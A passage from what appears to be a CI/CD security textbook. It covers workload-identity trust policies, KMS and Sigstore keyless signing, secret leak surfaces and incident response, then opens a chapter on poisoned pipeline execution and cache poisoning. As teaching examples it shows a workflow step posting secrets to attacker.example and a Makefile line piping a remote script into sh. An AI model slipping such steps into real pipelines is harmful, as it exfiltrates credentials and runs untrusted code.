For a build fleet, SPIFFE/SPIRE lets you give every builder, every runner, and every service a uniform, short-lived, verifiable identity that downstream systems (secret managers, service meshes, other services) can authenticate — the same identity fabric whether the caller is a CI job or a production microservice. This is the foundation the distributed-systems lens builds on, and it is developed in Book 5, Chapter 4 (workload identity) and Book 9. For this chapter, treat SPIFFE/SPIRE as the generalization of the OIDC-to-cloud pattern into an org-wide identity plane.

The over-broad-trust footgun

Workload identity removes the stored secret but introduces a new failure mode: a **trust policy scoped too loosely**. If the AWS role's trust relationship trusts *any* token from your GitHub org — `repo:my-org/*` — then any repository in the org, including one a compromised contributor can push a workflow to, can assume that role. The stored secret is gone but you have replaced it with a standing grant to a broad population of pipelines.

Scope the trust policy to the narrowest set of claims that still works. Pin the repository, and where possible the ref and the environment:

```
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub":
        "repo:my-org/payments-service:environment:production"
    }
  }
}
```

The classic mistake is using `StringLike` with a wildcard on `sub` (e.g. `repo:my-org/payments-service:*`), which trusts every branch and every pull request in that repo — including a fork's PR run if the workflow is misconfigured (Chapter 5). Bind to `environment:production`, gate that environment behind required reviewers, and the credential is reachable only by a deliberately approved deploy. The rule: **a workload identity is**

only as good as the trust policy that scopes it; an over-broad policy is a stored secret with extra steps.

Signing keys are a special case

Every credential type matters, but signing keys are the crown jewels and deserve their own treatment. A registry token, if stolen, lets an attacker push to your registry — bad, but detectable and revocable. A *signing key*, if stolen, lets an attacker **sign malware as you**: produce artifacts that your registry, your admission controller, your customers' verification policies, and your update clients all accept as authentically yours. The 3CX and SolarWinds lineage (Book 1) shows what a validly signed malicious build buys an attacker — trust laundering at scale. A stolen signing key defeats the entire signing apparatus that the rest of this suite builds up. So the bar is higher: signing keys must **never** sit in a CI environment variable or secret store as raw key material.

There are two good options, both of which mean the key material never lives in the pipeline.

KMS/HSM-backed keys. The private key is generated in and never leaves a hardware security module or a cloud KMS (AWS KMS, GCP Cloud KMS, Azure Key Vault HSM). Signing is an *API call*: the job sends a digest to the KMS, which computes the signature inside the boundary and returns it. The job holds an *authorization to invoke the signing operation*, not the key itself. Tools support this directly — for example, `cosign` (Book 5) can sign against a KMS key reference:

```
# The private key stays in KMS; cosign sends a digest and gets back a signature.
cosign sign --key awskms:///alias/release-signing \
ghcr.io/my-org/payments@sha256:9f2c...
```

Now a compromised job can *request signatures while it runs* — which is a real problem you must constrain with tight KMS IAM policies, short-lived authorization, and audit — but it can never *exfiltrate the key*. There is no key to exfiltrate. Rotation, revocation, and access logging all live in the KMS. Bind the KMS invoke permission to the workload identity of the specific release job (rung 4), not to a stored credential, and gate it on the protected environment.

Keyless signing (Sigstore/Fulcio). The stronger option removes the long-lived signing key entirely. In Sigstore's keyless flow, the job generates an *ephemeral* key pair in memory, authenticates via OIDC (the same workload-identity token as above), and presents its OIDC identity to **Fulcio**, Sigstore's certificate authority. Fulcio issues a **short-lived X.509 certificate** (valid for minutes) binding the ephemeral public key to the OIDC identity (e.g., the GitHub Actions workflow identity). The job signs with the ephemeral private key, records the signature and certificate in **Rekor**, Sigstore's transparency log, and then *discards the ephemeral key*. There is nothing to store and nothing to steal: minutes after signing, the private key no longer exists anywhere.

```
# Keyless: ephemeral key + OIDC identity + Fulcio cert + Rekor log. No
stored key.
cosign sign ghcr.io/my-org/payments@sha256:9f2c...
#   → opens OIDC flow / uses the ambient CI OIDC token
#   → Fulcio issues a short-lived cert bound to the workflow identity
#   → signature + cert recorded in Rekor transparency log
```

Verification then checks the certificate's identity claims against your policy ("signed by the `release.yml` workflow in `my-org/payments` on the `main` branch") and the Rekor inclusion proof, rather than checking against a pinned public key you must manage and rotate. Sigstore's architecture — Fulcio, Rekor, the transparency-log trust model, and its relationship to TUF and the update problem — is developed in Book 5, Chapters 3 and 4. The argument for this chapter is simple: **prefer keyless or KMS/HSM signing over any stored signing key**. A stored signing key in CI is the single worst secret you can hold, because its compromise is both catastrophic and, with these alternatives available, entirely avoidable.

Signing approach	Where the key lives	Blast radius if CI is compromised
Raw key in CI secret / env	In the pipeline	Total: key exfiltrated, attacker signs as you indefinitely
KMS/HSM-backed	In the HSM/KMS, never in CI	Bounded: attacker can request signatures only while the job runs and IAM allows; key never leaves

Signing approach	Where the key lives	Blast radius if CI is compromised
Keyless (Sigstore)	Ephemeral, discarded after minutes	Minimal: no key at rest; identity-bound, transparency-logged, short-lived cert

Recommended handling by secret type

Different secrets sit naturally on different rungs. Use this as a default map, not a straitjacket.

Secret type	Example	Recommended handling
Cloud deploy credential	AWS/GCP/Azure access to prod	Rung 4: OIDC federation to a tightly scoped role, gated on a protected environment. Never a stored static key.
Artifact registry push	GHCR/ECR/Artifactory write	Rung 3-4: OIDC or short-lived registry token scoped to the specific repo/path; separate from read creds.
Private dependency read	npm/PyPI/Git read token	Rung 2-3: least-privilege read-only token, short TTL where the registry supports it; scope to the org.
Database credential	App or migration DB access	Rung 3: Vault dynamic secret with a short lease; never a shared standing DB password in CI.
Signing key	Release artifact signing	KMS/HSM-backed or Sigstore keyless. Never raw key material in CI.
Third-party API key	Payment/SaaS API	Rung 2 if it cannot be dynamic: external secret manager, pulled at runtime, scoped, rotated, audited.

Two structural rules cut across the table. **Separate build credentials from deploy credentials** — the job that compiles and tests should not hold the identity that mutates production; split them so a compromise of the noisy, dependency-heavy build stage does not yield the deploy keys. And **least-privilege per job** — a job gets exactly the credentials its step needs and no more, for as short a time as possible.

Leak surfaces and their mitigations

Pulling the exposure analysis together against the mitigations the ladder provides:

Leak surface	Mitigation
Env vars readable by every step/child	Don't inject unless needed; pull at runtime into a single step; prefer short-lived creds so a dump is stale fast
Build logs (echo, verbose, error)	Never rely on masking as security; disable command echo around secrets; scan logs for leaks; short TTL limits the damage
Forked-PR execution	Don't expose secrets to untrusted-fork contexts (Chapter 5); gate secrets behind protected environments
Artifacts carrying secrets	Scan artifacts/images pre-publish; build with no secret in the context (BuildKit secret mounts, not <code>ARG</code>); least-privilege
Caches persisting secrets	Never write credentials into cached paths; scope caches per branch; treat cache as untrusted (Chapter 7)
Error messages / stack traces	Avoid credentials in URLs; scrub failure output; short TTL
Child processes (malicious deps)	Minimize secrets present during dependency install; run install in a stage with no deploy creds; pin/vet deps (Book 2)
Provider breach	Don't store long-lived secrets in the CI SaaS at all — rung 4 makes a provider breach yield nothing usable

Note the pattern: every row's *best* mitigation is "be higher on the ladder." A short-lived credential leaked into a log is a smaller incident than a static one; a workload-identity setup has nothing for a provider breach to steal. Detection and hygiene reduce the frequency of leaks; the ladder reduces their consequence.

Detection and response

Prevention is never complete, so pair the ladder with detection and a rehearsed response.

Secret scanning and push protection. Scan repositories for committed secrets and scan build logs and artifacts for leaked ones. Source-side scanning (GitHub secret scanning, GitLab secret detection, `gitleaks`, `trufflehog`) is developed in Book 7, Chapter 4; the CI-relevant addition is **push protection** — reject the push that would commit a recognized secret pattern *before* it lands in history, rather than detecting it after it is already replicated to every clone. Extend scanning to the pipeline's own outputs: grep build logs for high-entropy strings and known credential formats, and scan built images/artifacts for embedded secrets before publish. Detection at the artifact stage catches the `.env`-in-the-image class of leak that source scanning never sees.

Rotation and TTLs. The cheapest rotation is the one that happens automatically. A rung-3 or rung-4 credential rotates by expiring — a fifteen-minute lease is "rotated" four times an hour with no human in the loop. This is the deepest reason to climb the ladder: **short TTLs turn rotation from a dreaded manual project into a property of the system.** For the long-lived secrets you cannot yet eliminate, adopt an *assume-leak* posture — rotate on a schedule regardless of any known incident, because you will not always know when a secret has leaked (Codecov customers learned of their exposure months after the fact).

Incident response for a leaked CI secret. When a CI secret is known or suspected leaked, the response is governed by the concentration property: you must rotate *everything the pipeline could touch*, not just the one credential you noticed. This is the instruction Codecov and CircleCI both gave their customers, and it is correct precisely because CI holds the whole drawer.

```

flowchart TB
    D["Leak detected / suspected  
(scanner alert, provider breach,  
anomalous access)"]
    D --> I["Inventory: what could this pipeline reach?  
registry, cloud, DB, signing, deploy"]
    I --> R["Rotate every credential in scope  
(not just the one seen)"]
    R --> Rev["Revoke active sessions/tokens  
minted by the leaked credential"]
    Rev --> A["Audit usage during the exposure window  
look for attacker use"]
    A --> Sig{"Could a signing key  
have been used?"}
    Sig -->|yes| SigResp["Investigate all artifacts signed  
in the window; consider re-signing  
and revocation (Book 8, Ch 6)"]
    Sig -->|no| Hard["Harden: move the leaked class  
of secret up the ladder"]
    SigResp --> Hard
    Hard --> Post["Post-incident: eliminate the stored secret  
so this class of leak can't recur"]

```

The blast-radius reasoning is the payoff of the whole chapter. On rung 1, the "inventory" step is enormous and the "rotate everything" step is a multi-day cross-team scramble touching every system the pipeline ever authenticated to — because the leaked credential was long-lived and broadly scoped. On rung 4, the same detection is often a shrug: the leaked thing was a short-lived credential that has already expired, scoped to one role, with nothing stored to rotate. **Climbing the ladder is not only leak prevention; it is incident-response cost reduction.** Full compromise-recovery for the signing case — re-signing, revocation, and rebuilding trust — is developed in Book 8, Chapter 6.

Distributed-systems lens

Everything above is stated for one pipeline. The picture changes at fleet scale — many teams, many repos, hundreds of pipelines — and the changes all point the same way: **eliminate stored long-lived secrets org-wide, because a single one is a fleet-wide liability.**

Consider the asymmetry. If one team out of two hundred keeps a long-lived AWS key in a CI secret, that one credential is lateral-movement fuel for an attacker who compromises *any* pipeline that can read it, or who

breaches the CI provider. The org's exposure is set by its *weakest* pipeline, not its average one. A fleet where 199 teams do rung 4 perfectly and one team keeps a static deploy key has not meaningfully reduced its worst-case blast radius. This is why secrets in CI is a *platform* problem, not a per-team problem, and why the mitigation must be a paved-road capability (Chapter 10) rather than guidance every team is trusted to follow.

The paved road for secrets is: **standardize on workload identity (OIDC/SPIFFE) so that no team ever needs to store a long-lived secret.** Concretely:

- **A central secret manager with per-workload-identity policies.** One Vault (or cloud secret manager) fleet-wide, where access is granted to *identities* — `spiffe://corp/ci/payments/release` — not to bearer tokens. The CI-identity-to-cloud-identity mapping becomes your fleet IAM: the authoritative statement of which pipeline may assume which role. This is auditable in one place, which a scatter of per-repo CI secrets never is.
- **Trust policies as reviewed, version-controlled config.** The over-broad-trust footgun scales badly: one `repo:my-org/*` trust policy is a fleet-wide backdoor. Manage trust policies as code, review them, and lint for wildcards on `sub`.
- **Centralized detection across all pipelines.** Scan every pipeline's logs and artifacts for leaked secrets from one place, and alert on the anti-patterns — a new static credential appearing in a CI secret store, a trust policy widening, a signing key referenced as raw material. The fleet's job is to make the *unsafe* thing visible and hard, and the safe thing the default.
- **Signing centralized on KMS/keyless.** No team should hold a raw signing key; the release path is a paved-road capability that signs via KMS or Sigstore keyless against the job's workload identity, so "steal a signing key" is not in any team's threat model because no team has one.

The high-leverage move, restated: eliminating stored long-lived secrets is one of the few security investments whose value is *super-linear* in fleet size. Each pipeline you move to workload identity removes not just its own exposure but its contribution to the org's lateral-movement graph. The CircleCI and Codecov incidents were bad because so many

customers had long-lived secrets to steal; an org that had already climbed to rung 4 would have read those same breach notifications and had almost nothing to rotate.

Key takeaways

- **CI/CD concentrates secrets and exposes them.** The pipeline needs the keys to everything (registry, cloud, signing, deploy) and runs attacker-adjacent code on every push. That combination is why Codecov and CircleCI were mass credential-theft events.
- **Think in a maturity ladder.** Long-lived env secrets → scoped/masked → short-lived/dynamic → workload identity. Each rung shrinks blast radius and exposure window. The biggest single win is getting off rung 1.
- **Log masking is not security.** It is best-effort string replacement, trivially defeated by encoding or splitting the secret. It reduces accidental disclosure and nothing else. Never put a secret in the repo or pipeline definition at all.
- **Dynamic secrets collapse the exposure window** from years to minutes — Vault mints ephemeral DB/cloud credentials that expire on a lease. But they sharpen the *secret zero* problem: how does the job authenticate in the first place?
- **Workload identity resolves secret zero and is the destination.** OIDC federation lets a job prove its identity with a signed, per-run token and receive short-lived credentials via a trust policy — nothing stored at rest to steal. Scope trust policies tightly (repo + ref + environment); an over-broad policy is a stored secret with extra steps. SPIFFE/SPIRE generalizes this to an org-wide identity plane.
- **Signing keys are the crown jewels.** A stolen signing key lets an attacker sign malware as you. Never store raw key material in CI: use KMS/HSM-backed signing (the key never leaves the boundary) or Sigstore keyless (ephemeral key, OIDC-bound cert, nothing at rest).
- **Detect and assume breach.** Secret scanning with push protection, log and artifact scanning, and — above all — short TTLs that make rotation automatic. Incident response for a leaked CI secret is "rotate everything the pipeline could touch," which is cheap on rung 4 and brutal on rung 1.

- **At fleet scale, stored secrets are a shared liability.** The org's exposure is set by its weakest pipeline. Standardize workload identity as a paved-road capability so no team stores a long-lived secret; the payoff is super-linear in fleet size.

Further reading

- **HashiCorp Vault**, *Dynamic Secrets*, *Database Secrets Engine*, and *JWT/OIDC Auth Method* documentation — the authoritative reference for ephemeral credentials and for authenticating CI jobs by OIDC identity rather than a stored token. <https://developer.hashicorp.com/vault/docs/secrets>
- **GitHub Docs**, *About security hardening with OpenID Connect* and *Configuring OpenID Connect in cloud providers* — the mechanism, claim format, and trust-policy configuration for OIDC federation from Actions to AWS/GCP/Azure (developed further in Chapter 5). <https://docs.github.com/actions/deployment/security-hardening-your-deployments>
- **GitLab Docs**, *CI/CD variables — protected and masked variables* and *ID tokens / OIDC* — the primary source for GitLab's secrets model and the documented limits of masking.
- **SPIFFE / SPIRE**, *SPIFFE specification* and *SPIRE documentation* — workload identity as a first-class primitive (SPIFFE IDs and SVIDs), the generalization of the OIDC-to-cloud pattern (see also Book 5, Chapter 4 and Book 9). <https://spiffe.io/docs/>
- **Sigstore**, *Fulcio* and *Rekor* documentation, and the **cosign** reference — keyless signing, the ephemeral-key/short-lived-certificate model, and transparency logging (architecture in Book 5, Chapters 3–4). <https://docs.sigstore.dev/>
- **AWS**, *IAM roles for identity providers and federation* and **GCP**, *Workload Identity Federation* — the cloud-side trust-policy and short-lived-credential mechanics that OIDC federation targets.
- **Codecov**, *Bash Uploader Security Update* (April 2021) — the environment-variable exfiltration incident and the "rotate all CI-exposed credentials" remediation (Book 1, Chapter 5).
- **CircleCI**, *Incident Report for January 4, 2023 Security Incident* — the provider-breach failure mode and the all-customer secret rotation (Chapter 4).

- Book 1, Chapter 5 (Codecov) and Chapter 3 (SolarWinds); Book 2, Chapter 4 (malicious packages and obfuscation); Book 4, Chapter 4 (CI/CD platform threats) and Chapter 5 (Hardening GitHub Actions, OIDC specifics), Chapter 7 (Pipeline poisoning, caches), Chapter 10 (Secure build platform at scale); Book 5, Chapters 3–4 (Sigstore, workload identity); Book 7, Chapter 4 (source-side secret scanning); Book 8, Chapter 6 (incident response and recovery).

Chapter 7 — Pipeline Poisoning: PPE, Cache, and Artifact Attacks

What this chapter covers. Chapter 4 introduced Poisoned Pipeline Execution (PPE) as the central CI/CD attack primitive and named its three flavours. This chapter is the mechanism-level treatment: *how* an attacker actually gets code to run inside a privileged pipeline, and — once there, or even without full execution — how they poison the shared inputs that pipelines trust. The through-line is a single, uncomfortable fact: **a pipeline definition, and everything it reads, is code that executes with the pipeline's privileges** — its secrets, its signing keys, its deploy credentials, its cloud identity. Getting your content into that execution is remote code execution in one of the most privileged contexts your organization operates. We give PPE its full treatment (direct, indirect, public), trace the privilege escalation and lateral movement that follow a foothold, then turn to two quieter but high-impact vectors that do not always require classical code execution at all: **cache poisoning** — subverting the shared build and dependency caches that pipelines pull and trust — and **artifact integrity attacks** — tampering with the build output between production and publication. We close by mapping every attack to its control, and by stating the one principle that unifies the defenses: untrusted input must never execute in a context that holds secrets or deploy privileges without a trust boundary between them.

Learning goals — after this chapter you should be able to:

- Explain **direct, indirect, and public PPE** at the level of the specific files and events each exploits, and why indirect PPE is the most commonly overlooked.

- Recognize the **invoked-file attack surface** — Makefiles, `package.json` lifecycle scripts, Dockerfiles, test files, linter configs, pre-commit hooks — and why locking down the workflow YAML alone is insufficient.
- Enumerate what a PPE foothold yields: **secret exfiltration, artifact tampering, malicious deployment, cloud pivot, runner persistence, and cross-tenant reach**.
- Describe **cache poisoning** across CI dependency caches, GitHub Actions cache, Bazel/remote build caches, `ccache`, and Docker layer caches — including **cross-context poisoning**, where a low-privilege build writes an entry a high-privilege build later trusts.
- Explain why **content-addressing by input digest does not by itself defeat a lying cache**, and what actually does (authz, trust-scoping, signed entries, re-execution).
- Map **artifact-tamper threats** (SLSA (E)/(F)) to the controls that detect them — build-time provenance and signing, verified downstream.
- Design the **trusted/untrusted execution split** as the fundamental structural defense.

The pipeline reads code, therefore the pipeline runs code

Chapter 4 reduced most CI/CD attacks to one objective: get your code to run in the CI context. It is worth stating the mechanism precisely because it explains why the attack surface is so much larger than the workflow YAML.

A pipeline run is an interpreter. It reads a definition — `.github/workflows/*.yaml`, a `.gitlab-ci.yaml`, a Jenkinsfile, a Tekton PipelineRun — and executes the steps it contains. But those steps are almost never self-contained. A typical step is `make build`, `npm ci`, `pytest`, `./gradlew assemble`, `docker build .`, or `pre-commit run --all-files`. Each of those commands is itself an interpreter that reads *more* repo-controlled files — a Makefile, a `package.json`, a test module, a Gradle script, a Dockerfile, a `.pre-commit-config.yaml` — and executes *them*. The workflow YAML is only the outermost shell of a deeply nested tree of repo-controlled code, and every node in that tree runs with the same authority: whatever secrets, tokens, and identity the job holds.

This is why "we require review on `.github/workflows/`" is a partial control at best. It protects the root of the tree and leaves the entire subtree — where most of the interesting injection surface lives — governed by ordinary code review, or by nothing at all. An attacker who cannot touch the YAML edits the `Makefile` the YAML calls, and reaches exactly the same execution context.

PPE is the umbrella term (OWASP CICD-SEC-4) for manipulating that execution. The taxonomy — direct, indirect, public — comes from the CI/CD attack research originally published by Cider Security (later Palo Alto Networks / Prisma Cloud), which also seeded the OWASP Top 10 CI/CD Security Risks. The three flavours differ only in *which* node of the tree the attacker influences and *how* they trigger execution; the payoff is identical.

```
flowchart TB
  subgraph def["Pipeline definition (root)"]
    YAML[".github/workflows/ci.yml  
.gitlab-ci.yml / Jenkinsfile"]
  end
  subgraph invoked["Files the definition invokes (subtree)"]
    MK["Makefile"]
    PKG["package.json scripts  
(preinstall/postinstall)"]
    DF["Dockerfile"]
    TST["test files (pytest/jest)"]
    LNT["linter / formatter configs"]
    PC[".pre-commit-config.yaml"]
    GR["build.gradle / conftest.py"]
  end
  EXEC["Execution context:  
secrets, GITHUB_TOKEN,  
signing key, OIDC / cloud identity"]

  YAML -->| "D-PPE: edit the root" | EXEC
  MK -->| "I-PPE: edit a leaf" | EXEC
  PKG -->| "the root still calls" | EXEC
  DF --> EXEC
  TST --> EXEC
  LNT --> EXEC
  PC --> EXEC
  GR --> EXEC
```

Direct PPE (D-PPE): editing the pipeline definition

Direct PPE is the obvious case. The attacker modifies the pipeline definition itself and the platform runs the modified version. The subtlety is not the concept but the *triggering conditions* — specifically, whether the platform runs the version of the definition that the attacker just changed.

The canonical D-PPE is a pull request that edits the CI configuration and is triggered by that same event. On most platforms, a workflow triggered by `push` or a same-repo `pull_request` runs the pipeline definition *as it exists on the PR branch*. So a contributor with push access (or, on some platforms, anyone who can open an internal PR) adds a step:

```
# .github/workflows/ci.yml – attacker's PR edits the workflow itself
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "innocuous-looking step"
        run: |
          curl -s -X POST https://attacker.example/collect \
            -d "token=${{ secrets.NPM_PUBLISH_TOKEN }}&aws=$(env | grep AWS)"
```

If that workflow runs with secrets in scope, the PR *is* code execution the moment CI picks it up. GitHub Actions mitigates the fork case (fork PRs get a read-only token and no secrets — see Chapter 4's `pull_request` vs `pull_request_target` discussion, and Chapter 5), but the same-repo case, and other platforms with looser defaults, remain exposed. On GitLab, a `.gitlab-ci.yml` edited in a merge request runs with the pipeline's variables unless protected by protected-branch/environment scoping. On a Jenkins multibranch pipeline that builds every branch, an edited `Jenkinsfile` on a feature branch runs with the agent's full credential set.

D-PPE is loud — the malicious change sits in the security-reviewed file — but it succeeds constantly because the triggering conditions are

misconfigured or the "review" is a rubber stamp. The mitigations are correspondingly direct:

- **Do not run PR-modified pipeline definitions with secrets or deploy privileges.** Untrusted or unreviewed changes to the definition should execute, if at all, in a no-secrets context.
- **Require review on CI configuration**, and enforce it with branch protection so the definition cannot be changed and self-triggered in one motion.
- **Put pipeline files under CODEOWNERS** so a platform/security team — not just any repo committer — must approve changes to `.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`.
- Where the platform supports it, **pin the definition to a protected ref**: run the trusted, base-branch version of the pipeline even when building PR content (this is exactly what `pull_request_target` does — safely *only* if it does not then check out and execute the PR's code).

Indirect PPE (I-PPE): editing the files the pipeline invokes

Indirect PPE is the more important half of the taxonomy, precisely because it defeats the control most teams believe protects them. The workflow YAML is locked down, CODEOWNERS guards it, reviews are enforced — and none of it matters, because the attacker never touches the YAML. They edit a file the YAML *invokes*, which lives under ordinary code review and is often changeable by anyone who can merge application code.

The injection surface is everything the pipeline shells out to. The recurring offenders:

Makefiles. The workflow says `run: make build`. `make` reads the `Makefile`, which is repo-controlled. A PR that adds a shell command to the `build` target — or to any prerequisite of it, or to a `.PHONY` helper the target depends on — runs with the job's secrets.

```
build: prepare
  go build ./...

prepare:
  @# added in a "refactor the build" PR; runs before every build
  curl -s https://attacker.example/x.sh | sh
```

package.json lifecycle scripts. `npm ci`, `npm install`, and even `npm ci --ignore-scripts` (if the flag is forgotten) run `preinstall/install/postinstall/prepare` scripts from the project *and its dependencies*. A change to the project's own `package.json` scripts, or the introduction of a dependency whose install script fires, executes during the CI install step — the same class of foothold as the Codecov and event-stream lessons (Book 1, Chapter 4 and Chapter 5), but reached through the pipeline rather than through end-user installs.

```
{
  "scripts": {
    "postinstall": "node ./scripts/telemetry.js"
  }
}
```

The reviewer sees a plausible `postinstall`; `telemetry.js` reads `process.env` and exfiltrates.

Dockerfiles. The pipeline runs `docker build .`. Every `RUN` line executes at build time; a `RUN` that curls and pipes, or an `ARG/ENV` that captures a build secret passed via `--build-arg`, or a `--mount=type=secret` misuse, turns the image build into a code-execution and secret-capture step. Multi-stage builds do not help if the malicious `RUN` is in the stage that sees the secret.

Test files. The pipeline runs `pytest`, `go test ./...`, `jest`. Tests are code, collected and executed automatically. A `conftest.py`, a `test_*.py`, a `*_test.go` with a package-level `init()` or `TestMain`, or a `Jest setupFiles` entry runs during the test phase — a phase that frequently holds more privilege than "just testing" implies (integration tests reach real credentials).

Linters, formatter, and tool configs that shell out. Many tools execute code from their config. A `.pre-commit-config.yaml` names *repositories* and *entry points* to run; pointing a local hook at an attacker-controlled script, or adding a repo whose hook executes arbitrary code, runs during

`pre-commit run`. ESLint plugins, custom Gradle plugins, `Rakefile/Gruntfile/gulpfile` tasks, `setup.py/conftest` — anything the pipeline invokes that itself loads repo-controlled executable configuration is an I-PPE vector.

Build scripts and codegen. `./scripts/build.sh`, `go generate ./...` (which runs `//go:generate` directives embedded in source), Bazel `genrules`, `protoc` plugins — all are repo-controlled code the pipeline executes.

The defining property of I-PPE is *distance*: the malicious change lives far from the file the security team watches. A diff that adds one line to a `Makefile` prerequisite, or a `postinstall` one-liner, or a new `conftest.py`, sails through review that is scrutinizing application logic, not hunting for a shell escape. And because these files are not "CI config," they usually are not under CODEOWNERS and do not trigger the platform team's review.

Mitigations for I-PPE are structural, not spot fixes:

- **Extend CODEOWNERS and required review to the invoked files, not just the YAML** — build scripts, `Makefile`, `package.json`, `Dockerfile`, `.pre-commit-config.yaml`, test bootstrap files. If the pipeline runs it with secrets, it deserves the same review gate as the pipeline.
- **Run the untrusted phases without secrets.** Building and testing a PR should not have deploy credentials or publish tokens in scope. Separate the "run repo code" phase from the "use privilege" phase (the trusted/untrusted split, below).
- **Disable lifecycle scripts where you can** (`npm ci --ignore-scripts`, and vet the few packages that legitimately need them), and prefer install steps that do not execute package code.
- **Least-privilege the job** (Chapter 6): even a successful I-PPE is bounded by what the runner's identity can reach.

Public PPE: the fork-PR and self-hosted-runner exposure

Public PPE is I-PPE or D-PPE where the attacker has *no commit access at all* — the injection arrives via a pull request from a fork of a public (or

widely accessible internal) repository. This is the most dangerous flavour because the attacker population is the entire internet.

The mechanics are covered in Chapter 4 (the `pull_request` vs `pull_request_target` footgun) and hardened in Chapter 5, so we only restate the shape: a fork PR is untrusted code. It becomes public PPE when the platform runs that code with real privilege. Two paths dominate. First, the `pull_request_target` (or GitLab equivalent) misconfiguration that checks out and executes PR-head code in a job that holds secrets. Second, **self-hosted runners** attached to public repositories: a fork PR's job lands on a runner the org controls, and if the runner is non-ephemeral, the attacker not only executes but can *persist* on the machine and intercept later, more privileged jobs (Chapter 8). The `tj-actions/changed-files` compromise of March 2025 (Chapter 4) is the canonical recent illustration of how a single poisoned execution surface fans out across everyone who trusts it.

The correct posture: untrusted fork code runs in the no-secrets `pull_request` context on **ephemeral, isolated** runners, and never on a runner or in a job that can reach production credentials. Public PPE is simply the trusted/untrusted split failing at the repository's outer boundary.

```
sequenceDiagram
    autonumber
    participant A as Attacker (no commit access)
    participant F as Fork PR / feature branch
    participant CI as Pipeline run
    participant Def as Pipeline definition
    participant Inv as Invoked files (make/npm/tests)
    participant P as Privilege (secrets, deploy, cloud)

    Note over A,Def: Direct PPE
    A->>F: Edit ci.yml to add malicious step
    F->>CI: Trigger (push / same-repo PR)
    CI->>Def: Run modified definition
    Def->>P: Read secrets → exfiltrate / deploy

    Note over A,Inv: Indirect PPE
    A->>F: Edit Makefile / postinstall / conftest
    F->>CI: Trigger
    CI->>Def: Run clean, locked-down definition
    Def->>Inv: make build / npm ci / pytest
    Inv->>P: Malicious leaf runs with same privilege
```

PPE at a glance

PPE type	Attacker capability	Primary vector	What makes it work	Core mitigation
Direct (D-PPE)	Can edit the pipeline definition (push/PR)	<code>ci.yml</code> , <code>.gitlab-ci.yml</code> , <code>Jenkinsfile</code> edited and self-triggered	Platform runs the <i>modified</i> definition with secrets	Don't run PR-modified defs with secrets; CODEOWNERS + required review on CI config; run protected-ref definition
Indirect (I-PPE)	Can edit any file the pipeline invokes	<code>Makefile</code> , <code>package.json</code> scripts, <code>Dockerfile</code> , tests, linter/pre-commit configs, build scripts	Locked-down YAML still calls attacker-edited code	CODEOWNERS/ review on invoked files too; run untrusted phases without secrets; <code>--ignore-scripts</code> ; least privilege
Public	None (fork PR / external contributor)	Fork PR carrying D- or I-PPE payload, plus <code>pull_request_target</code> misuse or self-hosted runner	Untrusted PR code executed with privilege / on persistent runner	<code>pull_request</code> no-secrets context; ephemeral isolated runners; never check out+run PR head with secrets

From foothold to blast radius: escalation and lateral movement

A PPE foothold is code execution as the CI job's identity. What that yields is a function of what the job can reach — which, in most organizations, is

far too much (OWASP CICD-SEC-5, insufficient pipeline-based access controls). The escalation paths, roughly in order of immediacy:

Secret exfiltration. The job's environment and mounted secret stores are readable by the code it runs. Publish tokens, registry credentials, signing keys held in the job, cloud static credentials, and — critically — the platform token itself (`GITHUB_TOKEN` , `GitLab CI_JOB_TOKEN`) are all reachable. The stolen credential outlives the pipeline run and is used off-platform.

Artifact tampering. The attacker does not exfiltrate anything; they modify the build output in place. This is the SolarWinds pattern (Book 1, Chapter 3): the build ran, the source was clean, but a malicious build step injected code into the artifact before it was signed and shipped — producing a validly signed, trojaned deliverable. From a PPE foothold this is a small step: you already execute inside the build. We treat the detection of this class in the artifact-integrity section below.

Malicious deployment. If the job holds deploy privilege — a `kubectl` context, a cloud deploy role, a Helm/Argo trigger — the attacker deploys their own code to production directly, bypassing the artifact path entirely.

Cloud pivot via CI identity. Modern pipelines federate to cloud via OIDC workload identity (Book 5, Chapter 4). The job exchanges its platform token for short-lived cloud credentials. A PPE foothold performs that exchange itself and inherits the mapped cloud role — and if that role is broad (a common failing), the pipeline becomes an entry point into the cloud control plane (Book 6, Chapter 9). The credential is short-lived, but the attacker is *inside the job* when it is minted, so lifetime buys little.

Persistence on non-ephemeral runners. On a self-hosted or reused runner, the attacker writes to disk, installs a background process, tampers with the runner agent or its tool cache, and waits for a higher-privilege job to land on the same machine (Chapter 8). This converts a one-shot execution into an implant that harvests every subsequent job's secrets.

Cross-tenant reach. On shared build infrastructure with weak isolation, a foothold in one tenant's job can observe or interfere with another tenant's job — via shared runner state, a shared cache (next section), a shared Docker daemon, or a shared filesystem (Chapter 4's isolation discussion; Book 1, Chapter 9 on fleet-wide blast radius).

The lesson: **the value of a PPE foothold is set by the standing privilege of the pipeline, not by the cleverness of the payload.** This is why Chapter 6 (least-privilege CI identity) and Chapter 8 (ephemeral isolation) are the load-bearing mitigations — they shrink what any foothold can do.

Cache poisoning: subverting a trusted shared input

Everything so far has required code execution. Cache poisoning is subtler and, in some architectures, does not require executing anything in the victim build at all. It exploits a structural assumption: **caches are trusted inputs.** Builds pull cached dependencies, cached compiler outputs, cached layers, and cached action outputs, and they *use them without re-verifying that they are what they should be.* That is the entire point of a cache — skip the work, trust the stored result. If an attacker can write a poisoned entry that a victim build later reads, the poison flows into the victim's output with none of the review, provenance, or signing that guards the source path. It is persistent (the entry survives until evicted), stealthy (nothing in the victim's source changed), and fan-out (every build that hits the key is affected).

The caches worth worrying about, from most to least familiar:

- **CI dependency caches.** `actions/cache`, `GitLab cache:`, `CircleCI save_cache` — storing `~/.m2`, `node_modules`, `~/.cache/pip`, the Go build/module cache, etc., keyed by a lockfile hash or a manual key.
- **Remote build caches.** Bazel's remote cache, Gradle's build cache, `sccache`, `ccache` — storing the *outputs of build actions* (compiled objects, linked binaries) so they need not be rebuilt.
- **Docker layer cache.** BuildKit's `--cache-from` / `--cache-to` against a registry or inline cache, and the local layer cache — storing built image layers.
- **Language/module caches and tool caches** — the Actions tool cache, `$GOMODCACHE`, npm's content cache, and similar.

Cross-context cache poisoning: low-privilege writes, high-privilege reads

The most impactful CI cache-poisoning pattern is a *trust inversion*: a low-privilege build writes a cache entry that a high-privilege build later reads and trusts. The classic setting is a shared cache namespace across trust

